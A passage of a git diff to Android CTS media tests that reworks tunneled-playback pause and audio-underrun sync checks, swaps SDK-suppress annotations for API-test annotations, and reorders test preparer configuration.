+ pauseVideoSystemTimeNs = currentVideoSystemTimeNs;
+ Thread.sleep(250); // onFrameRendered can get delayed in the Framework
+ currentVideoSystemTimeNs = mMediaCodecPlayer.getCurrentRenderedSystemTimeNano();
+ } while (currentVideoSystemTimeNs != pauseVideoSystemTimeNs);
+ pauseVideoPositionUs = mMediaCodecPlayer.getVideoTimeUs();
+ }
+ long pauseVideoSystemTimeMs = pauseVideoSystemTimeNs / 1000 / 1000;
+
+ // Video should not continue running for a long period of time after audio pauses
+ long pauseVideoToleranceMs = 500;
+ assertTrue(String.format(
+ "Video ran %d milliseconds longer than audio (video:%d audio:%d)",
+ pauseVideoToleranceMs, pauseVideoSystemTimeMs, pauseAudioSystemTimeMs),
+ pauseVideoSystemTimeMs - pauseAudioSystemTimeMs < pauseVideoToleranceMs);
+
+ // Verify that playback stays paused
+ Thread.sleep(500);
+ assertEquals(mMediaCodecPlayer.getTimestamp().framePosition, pauseAudioTimestamp.framePosition);
+ assertEquals(mMediaCodecPlayer.getCurrentRenderedSystemTimeNano(), pauseVideoSystemTimeNs);
assertEquals(mMediaCodecPlayer.getVideoTimeUs(), pauseVideoPositionUs);
- // Verify audio and video are in sync
- assertTrue(String.format("Video pts (%d) is ahead of audio pts (%d)",
- pauseVideoPositionUs, pauseAudioFramePositionUs),
- pauseVideoPositionUs <= pauseAudioFramePositionUs);
+ // Verify audio and video are roughly in sync when paused
+ long framePosition = mMediaCodecPlayer.getTimestamp().framePosition;
+ long playbackRateFps = mMediaCodecPlayer.getAudioTrack().getPlaybackRate();
+ long pauseAudioPositionMs = pauseAudioTimestamp.framePosition * 1000 / playbackRateFps;
+ long pauseVideoPositionMs = pauseVideoPositionUs / 1000;
+ long deltaMs = pauseVideoPositionMs - pauseAudioPositionMs;
+ assertTrue(String.format(
+ "Video is %d milliseconds out of sync from audio (video:%d audio:%d)",
+ deltaMs, pauseVideoPositionMs, pauseAudioPositionMs),
+ deltaMs > -80 && deltaMs < pauseVideoToleranceMs);
// Flush both audio and video pipelines
mMediaCodecPlayer.flush();
@@ -4493,8 +4521,8 @@ public class DecoderTest extends MediaTestBase {
/**
* Test accurate video rendering after a video MediaCodec flush with HEVC if supported
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
public void testTunneledAccurateVideoFlushHevc() throws Exception {
testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_HEVC,
"video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
@@ -4503,8 +4531,8 @@ public class DecoderTest extends MediaTestBase {
/**
* Test accurate video rendering after a video MediaCodec flush with AVC if supported
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
public void testTunneledAccurateVideoFlushAvc() throws Exception {
testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_AVC,
"video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
@@ -4513,49 +4541,18 @@ public class DecoderTest extends MediaTestBase {
/**
* Test accurate video rendering after a video MediaCodec flush with VP9 if supported
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
public void testTunneledAccurateVideoFlushVp9() throws Exception {
testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_VP9,
"bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
}
/**
- * Test tunneled audioTimestamp progress with HEVC if supported
+ * Test that audio timestamps stop progressing during pause in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
- @Test
- public void testTunneledAudioTimestampProgressHevc() throws Exception {
- testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_HEVC,
- "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
- }
-
- /**
- * Test tunneled audioTimestamp progress with AVC if supported
- */
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
- @Test
- public void testTunneledAudioTimestampProgressAvc() throws Exception {
- testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_AVC,
- "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
- }
-
- /**
- * Test tunneled audioTimestamp progress with VP9 if supported
- */
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
- @Test
- public void testTunneledAudioTimestampProgressVp9() throws Exception {
- testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_VP9,
- "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
- }
-
- /**
- * Test that AudioTrack timestamps don't advance after pause.
- */
- private void
- testTunneledAudioTimestampProgress(String mimeType, String videoName) throws Exception
- {
+ private void testTunneledAudioProgressWithPause(String mimeType, String videoName)
+ throws Exception {
if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback),
"No tunneled video playback codec found for MIME " + mimeType)) {
return;
@@ -4568,11 +4565,10 @@ public class DecoderTest extends MediaTestBase {
Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
- assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+ mMediaCodecPlayer.startCodec();
- // starts video playback
- mMediaCodecPlayer.startThread();
+ mMediaCodecPlayer.play();
sleepUntil(() ->
mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP
&& mMediaCodecPlayer.getTimestamp() != null
@@ -4604,14 +4600,43 @@ public class DecoderTest extends MediaTestBase {
assertEquals(audioTimestampAfterPause.nanoTime, mMediaCodecPlayer.getTimestamp().nanoTime);
}
+
/**
- * Test tunneled audio underrun, if supported.
- *
- * Underrun test with lower pts after underrun.
+ * Test that audio timestamps stop progressing during pause for HEVC in tunneled mode.
+ */
+ @Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+ public void testTunneledAudioProgressWithPauseHevc() throws Exception {
+ testTunneledAudioProgressWithPause(MediaFormat.MIMETYPE_VIDEO_HEVC,
+ "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
+ }
+
+ /**
+ * Test that audio timestamps stop progressing during pause for AVC in tunneled mode.
+ */
+ @Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+ public void testTunneledAudioProgressWithPauseAvc() throws Exception {
+ testTunneledAudioProgressWithPause(MediaFormat.MIMETYPE_VIDEO_AVC,
+ "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+ }
+
+ /**
+ * Test that audio timestamps stop progressing during pause for VP9 in tunneled mode.
+ */
+ @Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+ public void testTunneledAudioProgressWithPauseVp9() throws Exception {
+ testTunneledAudioProgressWithPause(MediaFormat.MIMETYPE_VIDEO_VP9,
+ "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+ }
+
+ /**
+ * Test that audio underrun pauses video and resumes in-sync in tunneled mode.
*
* TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
*/
- private void tunneledAudioUnderrun(String mimeType, String videoName, int frameRate)
+ private void tunneledAudioUnderrun(String mimeType, String videoName)
throws Exception {
if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback),
"No tunneled video playback codec found for MIME " + mimeType)) {
@@ -4625,11 +4650,10 @@ public class DecoderTest extends MediaTestBase {
Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
- assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+ mMediaCodecPlayer.startCodec();
- // Starts video playback
- mMediaCodecPlayer.startThread();
+ mMediaCodecPlayer.play();
sleepUntil(() ->
mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP
&& mMediaCodecPlayer.getTimestamp() != null
@@ -4645,36 +4669,39 @@ public class DecoderTest extends MediaTestBase {
mMediaCodecPlayer.simulateAudioUnderrun(true);
// Wait for audio underrun
- final int audioUnderrunTimeoutMs = 1000; // Arbitrary upper time limit on loop time duration
- long startTimeMs = System.currentTimeMillis();
- AudioTimestamp currentAudioTimestamp = mMediaCodecPlayer.getTimestamp();
AudioTimestamp underrunAudioTimestamp;
- do {
- assertTrue(String.format("No audio underrun after %d milliseconds",
- System.currentTimeMillis() - startTimeMs),
- System.currentTimeMillis() - startTimeMs < audioUnderrunTimeoutMs);
- underrunAudioTimestamp = currentAudioTimestamp;
- Thread.sleep(50);
- currentAudioTimestamp = mMediaCodecPlayer.getTimestamp();
- } while (currentAudioTimestamp.framePosition != underrunAudioTimestamp.framePosition);
-
+ {
+ AudioTimestamp currentAudioTimestamp = mMediaCodecPlayer.getTimestamp();
+ long startTimeMs = System.currentTimeMillis();
+ do {
+ int audioUnderrunTimeoutMs = 1000;
+ assertTrue(String.format("No audio underrun after %d milliseconds",
+ System.currentTimeMillis() - startTimeMs),
+ System.currentTimeMillis() - startTimeMs < audioUnderrunTimeoutMs);
+ underrunAudioTimestamp = currentAudioTimestamp;
+ Thread.sleep(50);
+ currentAudioTimestamp = mMediaCodecPlayer.getTimestamp();
+ } while (currentAudioTimestamp.framePosition != underrunAudioTimestamp.framePosition);
+ }
- // Wait until video playback stalls
- final int videoUnderrunTimeoutMs = 1000;
- startTimeMs = System.currentTimeMillis();
- long currentVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
- long underrunVideoTimeUs = -1;
- do {
- assertTrue(String.format("No video underrun after %d milliseconds",
- videoUnderrunTimeoutMs),
- System.currentTimeMillis() - startTimeMs < videoUnderrunTimeoutMs);
- underrunVideoTimeUs = currentVideoTimeUs;
- Thread.sleep(50);
- currentVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
- } while (currentVideoTimeUs != underrunVideoTimeUs);
+ // Wait until video playback pauses due to underrunning audio
+ long pausedVideoTimeUs = -1;
+ {
+ long currentVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
+ long startTimeMs = System.currentTimeMillis();
+ do {
+ int videoPauseTimeoutMs = 2000;
+ assertTrue(String.format("No video pause after %d milliseconds",
+ videoPauseTimeoutMs),
+ System.currentTimeMillis() - startTimeMs < videoPauseTimeoutMs);
+ pausedVideoTimeUs = currentVideoTimeUs;
+ Thread.sleep(250); // onFrameRendered messages can get delayed in the Framework
+ currentVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
+ } while (currentVideoTimeUs != pausedVideoTimeUs);
+ }
- // Retrieve index for the video rendered frame at the time of underrun
- int underrunVideoRenderedTimestampIndex =
+ // Retrieve index for the video rendered frame at the time of video pausing
+ int pausedVideoRenderedTimestampIndex =
mMediaCodecPlayer.getRenderedVideoFrameTimestampList().size() - 1;
// Resume audio buffering with a negative offset, in order to simulate a desynchronisation.
@@ -4683,35 +4710,38 @@ public class DecoderTest extends MediaTestBase {
mMediaCodecPlayer.simulateAudioUnderrun(false);
// Wait until audio playback resumes
- final int audioResumeTimeoutMs = 1000;
- startTimeMs = System.currentTimeMillis();
- currentAudioTimestamp = mMediaCodecPlayer.getTimestamp();
AudioTimestamp postResumeAudioTimestamp;
- do {
- assertTrue(String.format("Audio has not resumed after %d milliseconds",
- audioResumeTimeoutMs),
- System.currentTimeMillis() - startTimeMs < audioResumeTimeoutMs);
- postResumeAudioTimestamp = currentAudioTimestamp;
- Thread.sleep(50);
- currentAudioTimestamp = mMediaCodecPlayer.getTimestamp();
- } while(currentAudioTimestamp.framePosition == postResumeAudioTimestamp.framePosition);
+ {
+ AudioTimestamp previousAudioTimestamp;
+ long startTimeMs = System.currentTimeMillis();
+ do {
+ int audioResumeTimeoutMs = 1000;
+ assertTrue(String.format("Audio has not resumed after %d milliseconds",
+ audioResumeTimeoutMs),
+ System.currentTimeMillis() - startTimeMs < audioResumeTimeoutMs);
+ previousAudioTimestamp = mMediaCodecPlayer.getTimestamp();
+ Thread.sleep(50);
+ postResumeAudioTimestamp = mMediaCodecPlayer.getTimestamp();
+ } while (postResumeAudioTimestamp.framePosition == previousAudioTimestamp.framePosition);
+ }
// Now that audio playback has resumed, wait until video playback resumes
- // We care about the timestamp of the first output frame, rather than the exact time the
- // video resumed, which is why we only start polling after we are sure audio playback has
- // resumed.
- final int videoResumeTimeoutMs = 1000;
- startTimeMs = System.currentTimeMillis();
- currentVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
- long resumeVideoTimeUs = -1;
- do {
- assertTrue(String.format("Video has not resumed after %d milliseconds",
- videoResumeTimeoutMs),
- System.currentTimeMillis() - startTimeMs < videoResumeTimeoutMs);
- resumeVideoTimeUs = currentVideoTimeUs;
- Thread.sleep(50);
- currentVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
- } while (currentVideoTimeUs == resumeVideoTimeUs);
+ {
+ // We actually don't care about trying to capture the exact time video resumed, because
+ // we can just look at the historical list of rendered video timestamps
+ long postResumeVideoTimeUs;
+ long previousVideoTimeUs;
+ long startTimeMs = System.currentTimeMillis();
+ do {
+ int videoResumeTimeoutMs = 2000;
+ assertTrue(String.format("Video has not resumed after %d milliseconds",
+ videoResumeTimeoutMs),
+ System.currentTimeMillis() - startTimeMs < videoResumeTimeoutMs);
+ previousVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
+ Thread.sleep(50);
+ postResumeVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
+ } while (postResumeVideoTimeUs == previousVideoTimeUs);
+ }
// The system time when rendering the first audio frame after the resume
long playbackRateFps = mMediaCodecPlayer.getAudioTrack().getPlaybackRate();
@@ -4721,52 +4751,74 @@ public class DecoderTest extends MediaTestBase {
long resumeAudioSystemTimeNs = postResumeAudioTimestamp.nanoTime - (long) elapsedTimeNs;
long resumeAudioSystemTimeMs = resumeAudioSystemTimeNs / 1000 / 1000;
- // The system time when rendering the first video frame after the resume
+ // The system time when rendering the first video frame after video playback resumes
long resumeVideoSystemTimeMs = mMediaCodecPlayer.getRenderedVideoFrameSystemTimeList()
- .get(underrunVideoRenderedTimestampIndex + 1) / 1000 / 1000;
+ .get(pausedVideoRenderedTimestampIndex + 1) / 1000 / 1000;
- // Verify that audio and video are in-sync after resume time
+ // Verify that video resumes in a reasonable amount of time after audio resumes
// Note: Because a -100ms PTS gap is introduced, the video should resume 100ms later
resumeAudioSystemTimeMs += 100;
- long vsyncMs = 1000 / frameRate;
- long avSyncOffsetMs = resumeAudioSystemTimeMs - resumeVideoSystemTimeMs;
+ long resumeDeltaMs = resumeVideoSystemTimeMs - resumeAudioSystemTimeMs;
+ assertTrue(String.format("Video started %s milliseconds before audio resumed "
+ + "(video:%d audio:%d)", resumeDeltaMs * -1, resumeVideoSystemTimeMs,
+ resumeAudioSystemTimeMs),
+ resumeDeltaMs > 0); // video is expected to start after audio resumes
assertTrue(String.format(
- "Audio is %d milliseconds out of sync of video (audio:%d video:%d)",
- avSyncOffsetMs, resumeAudioSystemTimeMs, resumeVideoSystemTimeMs),
- Math.abs(avSyncOffsetMs) <= vsyncMs);
+ "Video started %d milliseconds after audio resumed (video:%d audio:%d)",
+ resumeDeltaMs, resumeVideoSystemTimeMs, resumeAudioSystemTimeMs),
+ resumeDeltaMs <= 600); // video starting 300ms after audio is barely noticeable
+
+ // Determine the system time of the audio frame that matches the presentation timestamp of
+ // the resumed video frame
+ long resumeVideoPresentationTimeUs = mMediaCodecPlayer.getRenderedVideoFrameTimestampList()
+ .get(pausedVideoRenderedTimestampIndex + 1);
+ long matchingAudioFramePosition = resumeVideoPresentationTimeUs * playbackRateFps / 1000 / 1000;
+ playedFrames = matchingAudioFramePosition - postResumeAudioTimestamp.framePosition;
+ elapsedTimeNs = playedFrames * (1000.0 * 1000.0 * 1000.0 / playbackRateFps);
+ long matchingAudioSystemTimeNs = postResumeAudioTimestamp.nanoTime + (long) elapsedTimeNs;
+ long matchingAudioSystemTimeMs = matchingAudioSystemTimeNs / 1000 / 1000;
+
+ // Verify that video and audio are in sync at the time when video resumes
+ // Note: Because a -100ms PTS gap is introduced, the video should resume 100ms later
+ matchingAudioSystemTimeMs += 100;
+ long avSyncOffsetMs = resumeVideoSystemTimeMs - matchingAudioSystemTimeMs;
+ assertTrue(String.format("Video is %d milliseconds out of sync of audio after resuming "
+ + "(video:%d, audio:%d)", avSyncOffsetMs, resumeVideoSystemTimeMs,
+ matchingAudioSystemTimeMs),
+ // some leniency in AV sync is required because Android TV STB/OTT OEMs often have
+ // to tune for imperfect downstream TVs (that have processing delays on the video)
+ // by knowingly producing HDMI output that has audio and video mildly out of sync
+ Math.abs(avSyncOffsetMs) <= 80);
}
/**
- * Test tunneled audio underrun with HEVC if supported
+ * Test that audio underrun pauses video and resumes in-sync for HEVC in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
public void testTunneledAudioUnderrunHevc() throws Exception {
tunneledAudioUnderrun(MediaFormat.MIMETYPE_VIDEO_HEVC,
- "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv",
- 25);
+ "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
}
/**
- * Test tunneled audio underrun with AVC if supported
+ * Test that audio underrun pauses video and resumes in-sync for AVC in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
public void testTunneledAudioUnderrunAvc() throws Exception {
tunneledAudioUnderrun(MediaFormat.MIMETYPE_VIDEO_AVC,
- "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
- 25);
+ "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
}
/**
- * Test tunneled audio underrun with VP9 if supported
+ * Test that audio underrun pauses video and resumes in-sync for VP9 in tunneled mode.
*/
- @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
@Test
+ @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
public void testTunneledAudioUnderrunVp9() throws Exception {
tunneledAudioUnderrun(MediaFormat.MIMETYPE_VIDEO_VP9,
- "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
- 30);
+ "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
}
private void sleepUntil(Supplier<Boolean> supplier, Duration maxWait) throws Exception {
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java
index f34f9e23146..af4e75a5383 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java
@@ -37,6 +37,7 @@ import android.util.Log;
import androidx.test.InstrumentationRegistry;
import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.MediaUtils;
import org.junit.Before;
@@ -56,7 +57,7 @@ public class DecoderTestAacFormat {
ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
private static final boolean sIsAtLeastT =
ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU);
-
+ private static final String MIMETYPE_AAC = MediaFormat.MIMETYPE_AUDIO_AAC;
@Before
public void setUp() throws Exception {
final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
@@ -67,6 +68,7 @@ public class DecoderTestAacFormat {
* Verify downmixing to stereo at decoding of MPEG-4 HE-AAC 5.0 and 5.1 channel streams
*/
@Test
+ @CddTest(requirements = {"5.1.2/C-2-1", "5.1.2/C-7-1", "5.1.2/C-7-2"})
public void testHeAacM4aMultichannelDownmix() throws Exception {
Log.i(TAG, "START testDecodeHeAacMcM4a");
@@ -81,9 +83,9 @@ public class DecoderTestAacFormat {
AudioFormat.CHANNEL_OUT_QUAD | AudioFormat.CHANNEL_OUT_FRONT_CENTER},
{"noise_6ch_44khz_aot5_dr_sbr_sig2_mp4.m4a", 6, AudioFormat.CHANNEL_OUT_5POINT1},
};
-
- for (Object [] sample: samples) {
- for (String codecName : DecoderTest.codecsFor((String)sample[0] /* resource */)) {
+ for (Object[] sample: samples) {
+ for (String codecName : DecoderTest.codecsFor((String)sample[0] /* resource */,
+ DecoderTest.CODEC_DEFAULT)) {
// verify correct number of channels is observed without downmixing
AudioParameter chanParams = new AudioParameter();
decodeUpdateFormat(codecName, (String) sample[0] /*resource*/, chanParams,
@@ -101,7 +103,7 @@ public class DecoderTestAacFormat {
assertEquals("Number of channels differs for codec:" + codecName
+ " when downmixing with KEY_AAC_MAX_OUTPUT_CHANNEL_COUNT",
2, aacDownmixParams.getNumChannels());
- if (sIsAtLeastT) {
+ if (sIsAtLeastT && DecoderTest.isDefaultCodec(codecName, MIMETYPE_AAC)) {
// KEY_CHANNEL_MASK expected to work starting with T
assertEquals("Wrong channel mask with KEY_AAC_MAX_OUTPUT_CHANNEL_COUNT",
AudioFormat.CHANNEL_OUT_STEREO,
@@ -168,7 +170,7 @@ public class DecoderTestAacFormat {
assertEquals("wrong number of tracks", 1, extractor.getTrackCount());
MediaFormat format = extractor.getTrackFormat(0);
String mime = format.getString(MediaFormat.KEY_MIME);
- assertTrue("not an audio file", mime.startsWith("audio/"));
+ assertTrue("not an aac audio file", mime.equals(MIMETYPE_AAC));
MediaCodec decoder;
if (decoderName == null) {
@@ -276,7 +278,7 @@ public class DecoderTestAacFormat {
} catch (NullPointerException e) {
fail("KEY_SAMPLE_RATE not found on output format");
}
- if (sIsAtLeastT) {
+ if (sIsAtLeastT && DecoderTest.isDefaultCodec(decoderName, MIMETYPE_AAC)) {
try {
audioParams.setChannelMask(
outputFormat.getInteger(MediaFormat.KEY_CHANNEL_MASK));
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/NativeDecoderTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/NativeDecoderTest.java
index f5e3e0d7958..9b98fede1bd 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/NativeDecoderTest.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/NativeDecoderTest.java
@@ -129,81 +129,6 @@ public class NativeDecoderTest extends MediaTestBase {
return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
}
- private static int[] getSampleSizes(String path, String[] keys, String[] values)
- throws IOException {
- MediaExtractor ex = new MediaExtractor();
- if (keys == null || values == null) {
- ex.setDataSource(path);
- } else {
- Map<String, String> headers = null;
- int numheaders = Math.min(keys.length, values.length);
- for (int i = 0; i < numheaders; i++) {
- if (headers == null) {
- headers = new HashMap<>();
- }
- String key = keys[i];
- String value = values[i];
- headers.put(key, value);
- }
- ex.setDataSource(path, headers);
- }
-
- return getSampleSizes(ex);
- }
-
- private static int[] getSampleSizes(FileDescriptor fd, long offset, long size)
- throws IOException {
- MediaExtractor ex = new MediaExtractor();
- ex.setDataSource(fd, offset, size);
- return getSampleSizes(ex);
- }
-
- private static int[] getSampleSizes(MediaExtractor ex) {
- ArrayList<Integer> foo = new ArrayList<Integer>();
- ByteBuffer buf = ByteBuffer.allocate(1024*1024);
- int numtracks = ex.getTrackCount();
- assertTrue("no tracks", numtracks > 0);
- foo.add(numtracks);
- for (int i = 0; i < numtracks; i++) {
- MediaFormat format = ex.getTrackFormat(i);
- String mime = format.getString(MediaFormat.KEY_MIME);
- if (mime.startsWith("audio/")) {
- foo.add(0);
- foo.add(format.getInteger(MediaFormat.KEY_SAMPLE_RATE));
- foo.add(format.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
- foo.add((int)format.getLong(MediaFormat.KEY_DURATION));
- } else if (mime.startsWith("video/")) {
- foo.add(1);
- foo.add(format.getInteger(MediaFormat.KEY_WIDTH));
- foo.add(format.getInteger(MediaFormat.KEY_HEIGHT));
- foo.add((int)format.getLong(MediaFormat.KEY_DURATION));
- } else {
- fail("unexpected mime type: " + mime);
- }
- ex.selectTrack(i);
- }
- while(true) {
- int n = ex.readSampleData(buf, 0);
- if (n < 0) {
- break;
- }
- foo.add(n);
- foo.add(ex.getSampleTrackIndex());
- foo.add(ex.getSampleFlags());
- foo.add((int)ex.getSampleTime()); // just the low bits should be OK
- byte[] foobar = new byte[n];
- buf.get(foobar, 0, n);
- foo.add(adler32(foobar));
- ex.advance();
- }
-
- int [] ret = new int[foo.size()];
- for (int i = 0; i < ret.length; i++) {
- ret[i] = foo.get(i);
- }
- return ret;
- }
-
@Test
public void testDataSource() throws Exception {
int testsRun = testDecoder(
diff --git a/tests/tests/media/drmframework/AndroidTest.xml b/tests/tests/media/drmframework/AndroidTest.xml
index c6e311de86e..28aaadc3c6d 100644
--- a/tests/tests/media/drmframework/AndroidTest.xml
+++ b/tests/tests/media/drmframework/AndroidTest.xml
@@ -26,6 +26,11 @@
<option name="dynamic-config-name" value="CtsMediaDrmFrameworkTestCases" />
<option name="version" value="9.0_r1"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaDrmFrameworkTestCases" />
+ <option name="version" value="7.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaDrmFrameworkTestCases-1.0" />
@@ -35,11 +40,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaDrmFrameworkTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaDrmFrameworkTestCases" />
- <option name="version" value="7.0"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.drmframework.cts" />
<!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmClearkeyTest.java b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmClearkeyTest.java
index 1a1a46f5383..2c1d9c5edc4 100644
--- a/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmClearkeyTest.java
+++ b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmClearkeyTest.java
@@ -26,7 +26,6 @@ import android.media.ResourceBusyException;
import android.media.UnsupportedSchemeException;
import android.media.cts.AudioManagerStub;
import android.media.cts.AudioManagerStubHelper;
-import android.media.cts.CodecState;
import android.media.cts.ConnectionStatus;
import android.media.cts.IConnectionStatus;
import android.media.cts.InputSurface;
diff --git a/tests/tests/media/encoder/AndroidTest.xml b/tests/tests/media/encoder/AndroidTest.xml
index 65d8d6d62f1..4de5615b84e 100644
--- a/tests/tests/media/encoder/AndroidTest.xml
+++ b/tests/tests/media/encoder/AndroidTest.xml
@@ -33,6 +33,11 @@
<option name="dynamic-config-name" value="CtsMediaEncoderTestCases" />
<option name="version" value="1.0"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaEncoderTestCases" />
+ <option name="version" value="1.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaEncoderTestCases-1.0" />
@@ -42,11 +47,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaEncoderTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaEncoderTestCases" />
- <option name="version" value="1.0"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.encoder.cts" />
<!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/encoder/src/android/media/encoder/cts/VideoEncoderTest.java b/tests/tests/media/encoder/src/android/media/encoder/cts/VideoEncoderTest.java
index 4afc7aafd2b..74aa214f6d6 100644
--- a/tests/tests/media/encoder/src/android/media/encoder/cts/VideoEncoderTest.java
+++ b/tests/tests/media/encoder/src/android/media/encoder/cts/VideoEncoderTest.java
@@ -43,6 +43,7 @@ import android.media.cts.NonMediaMainlineTest;
import android.media.cts.OutputSurface;
import android.media.cts.Preconditions;
import android.media.cts.TestArgs;
+import android.media.cts.TestUtils;
import android.net.Uri;
